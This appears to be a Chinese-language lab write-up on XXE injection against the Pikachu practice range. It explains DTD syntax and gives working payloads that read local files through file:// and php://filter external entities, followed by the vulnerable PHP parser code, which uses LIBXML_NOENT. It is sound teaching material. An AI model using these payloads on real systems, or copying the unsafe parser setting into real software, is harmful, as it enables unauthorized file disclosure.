原理
XXE - “xml external entity injection“,”xml 外部实体注入漏洞”。
XML 指的是可拓展标记语言(extensible markup language)
菜鸟教程:https://www.runoob.com/xml/xml-tutorial.html
XML 从入门到深入:https://www.cnblogs.com/antLaddie/p/14823874.html
XML 声明
必须在第一行,参数有 version, encoding, standalone
DTD(Document Type Define)文档类型定义
用于描述 XML 文档结构
DTD 定义文档规则(DOCTYPE)
1 2 3 4 5 6 7
| DTD文档的声明及引用有三种: 内部DTD文档: <!DOCTYPE 根元素[定义元素属性等等内容]> 外部DTD文档: <!DOCTYPE 根元素 SYSTEM 'DTD文件路径'> 内外部DTD文档结合: <!DOCTYPE 根元素 SYSTEM 'DTD文件路径'[定义元素属性等等内容]>
|
DTD 元素定义(ELEMENT)
1 2 3 4 5 6 7 8 9
| 语法:<!ELEMENT 元素名称(NAME) 元素类型(COUTENT)> 注:ELEMENT关键字 元素名称:就是自定义的子标签名称 元素类型: EMPTY:该元素不能包含子元素和文本,但是可以有属性,这类元素称为自闭和标签 ANY:该元素可以包含任意在DTD中定义的元素内容 #PCDATA:可以包含任何字符数据,设置这个就不能包含子元素了,一般设置具体value 混合元素类型:只包含子元素,并且这些子元素没有文本 混合类型:包含子元素和文本数据混合体
|
DTD 属性定义(ATTLIST)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| 语法:<!ATTLIST 元素名称 属性名称 类型 属性特点> 元素名称:我们自定义的元素名称 属性类型:我们为元素上添加自定义属性 类型: CDATA: 任意字符(理解为任意字符的字符串) ID: 以字母开头唯一值字符串, IDREF/IDREFS: 可以指向文档中其它地方声明的ID类型值(设置此值是可以在文档上存在的) 使用IDREFS时可以使用空格隔开 NMTOKEN/NMTOKENS: NMTOKEN是CDATA的一个子集,设置该属性时只能写英文字母、数字、句号、破折号 下划线、冒号,但是属性值里面不能有空格 NMTOKENS:它是复数,如果设置多个值由空格隔开 Enumerated: 事先定义好一些值,属性的值必须在所列出的值范围内 属性特点: #REQUIRED 表示必须设置此属性 #IMPLIED 表示此属性可写可不写 #FIXED value 表示元素实例中该属性的值必须是指定的固定值 #Default value 为属性提供一个默认值
|
DTD 实体定义(ENTITY)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 实体分类: 普通内部实体,普通外部实体,内部参数实体,外部参数实体
语法: 普通内部实体定义:<!ENTITY 实体名 "实体值"> 普通外部实体引入:<!ENTITY 实体名 SYSTEM "URI/URL"> 内部参数实体定义:<!ENTITY % 实体名 "实体值"> 外部参数实体引入:<!ENTITY % 实体名 SYSTEM "URI/URL">
示例定义: <!ENTITY name "pikachu"> <!ENTITY address "Kali Linux"> 示例XML里使用: <name>&name;</name>
使用范围:定义实体分为内部实体(定义在当前xml文件)和外部实体(定义在外部dtd文件里)
|
实战
我们输入普通的文本,发现会弹出这个,并且我们从浏览器或者 hackbar 插件中可以知道是 POST 请求,并且有两个参数,一个是 xml,一个是 submit。

根据上面的 XML 声明、DTD 文档类型定义、DTD 实体我们就可以构造一个
1 2 3 4 5
| <?xml version="1.0" ?> <!DOCTYPE pi[ <!ENTITY text "pikachu"> ]> <pi>&text;</pi>
|
有回显,输出 pikachu(上面的根元素和实体名任意,只需要实体名与下面的实体元素名称相同就行)

XML DTD 外部引用
支持 file http 还有各种伪协议
我们还可以通过路径来回显,如果成功,则代表可以访问文件。(下面代码限于 Windows 服务器,我的靶场在 Linux docker 里面,试了几遍没有试出来。)
使用 file 路径(文件绝对路径)
1 2 3 4 5
| <?xml version="1.0" ?> <!DOCTYPE pi[ <!ENTITY text SYSTEM "file:///C:/Windows/win.ini"> ]> <pi>&text;</pi>
|

使用 PHP 伪协议
1 2 3 4 5
| <?xml version="1.0" ?> <!DOCTYPE pi[ <!ENTITY text SYSTEM "php://filter/convert.base64-encode/resource=E:/Soft/phpstudy_pro/WWW/pikachu/vul/xxe/xxe_1.php"> ]> <pi>&text;</pi>
|


无回显操作
看网上有的说不能操作,还有的教程往服务端放了两个文件,一个文件是通过 GET 或者 POST 协议来接收数据,然后对 base64 进行解码,进行保存文件(php 文件),然后一个外部的 XML 文件用来之后payload 的外部引用。
源码
1 2 3 4 5 6 7 8 9 10 11 12
| if(isset($_POST['submit']) and $_POST['xml'] != null){
$xml =$_POST['xml']; $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT); if($data){ $html.="<pre>{$data}</pre>"; }else{ $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>"; } }
|
具体来说用了simplexml_load_string 函数对 xml 字符串解析成一个对象。